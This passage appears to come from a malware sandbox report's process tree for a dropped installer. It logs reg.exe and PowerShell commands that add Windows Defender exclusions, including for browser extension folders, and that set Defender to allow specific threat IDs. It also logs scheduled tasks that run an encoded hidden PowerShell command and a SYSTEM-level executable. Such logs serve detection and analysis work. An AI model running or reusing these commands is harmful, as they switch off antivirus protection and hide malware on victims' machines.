    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qMeQRvtmXyxU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5668
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qMeQRvtmXyxU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5732
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rZPMEzngU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rZPMEzngU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1652
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wmJzyKeAXJXSYcIjGXR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wmJzyKeAXJXSYcIjGXR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5500
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\JHBMAPUCCwSCzfVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\JHBMAPUCCwSCzfVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\XKbpoCnULTQzsVVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\XKbpoCnULTQzsVVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3784
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5980
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\XzCRxLAMjkWVuGGMb /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5344
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\XzCRxLAMjkWVuGGMb /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4636
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\iAgbdZKqqGsOfMIBo /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\iAgbdZKqqGsOfMIBo /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WIjQsZOhtuiKSoXd /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2240
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WIjQsZOhtuiKSoXd /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\hwSlakOgexbeQMmf /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5128
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\hwSlakOgexbeQMmf /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5228
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gpFWDWxlC" /SC once /ST 09:04:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2916
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gpFWDWxlC"
  2⤵
  PID:1752
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gpFWDWxlC"
  2⤵
  PID:5696
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "AxfyqSaZTcFttLJtv" /SC once /ST 00:34:46 /RU "SYSTEM" /TR "\"C:\Windows\Temp\hwSlakOgexbeQMmf\haxZTeUOcKzKbBE\gfZsxHR.exe\" T3 /NjHadidjA 385132 /S" /V1 /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6068
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "AxfyqSaZTcFttLJtv"
  2⤵
  PID:5380
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4236
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2028 -s 680
  2⤵
  - Program crash
  PID:2192

C:\Users\Admin\AppData\Local\Temp\7zS58D9.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS58D9.tmp\Install.exe NI /ayOdidcdMw 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1936
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5412
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5764
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5740
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5672
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5456
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5956
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5932
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5872
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2212
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5180
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5260
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5808
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GtOnFDWCCgUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GtOnFDWCCgUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KDENuaOqQISU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KDENuaOqQISU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LAYqAmppRtojC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LAYqAmppRtojC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\itCXZnYssICbfHKCXDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\itCXZnYssICbfHKCXDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rZPMEzngU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rZPMEzngU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\XKbpoCnULTQzsVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\XKbpoCnULTQzsVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\XzCRxLAMjkWVuGGMb\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\XzCRxLAMjkWVuGGMb\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WIjQsZOhtuiKSoXd\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WIjQsZOhtuiKSoXd\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:6012
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GtOnFDWCCgUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1320
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GtOnFDWCCgUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GtOnFDWCCgUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KDENuaOqQISU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5208
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KDENuaOqQISU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LAYqAmppRtojC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5232
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LAYqAmppRtojC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\itCXZnYssICbfHKCXDR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\itCXZnYssICbfHKCXDR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rZPMEzngU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rZPMEzngU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5260
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\XKbpoCnULTQzsVVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\XKbpoCnULTQzsVVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5568
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5408
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5840
- - C:\Windows\SysWOW64\reg.exe
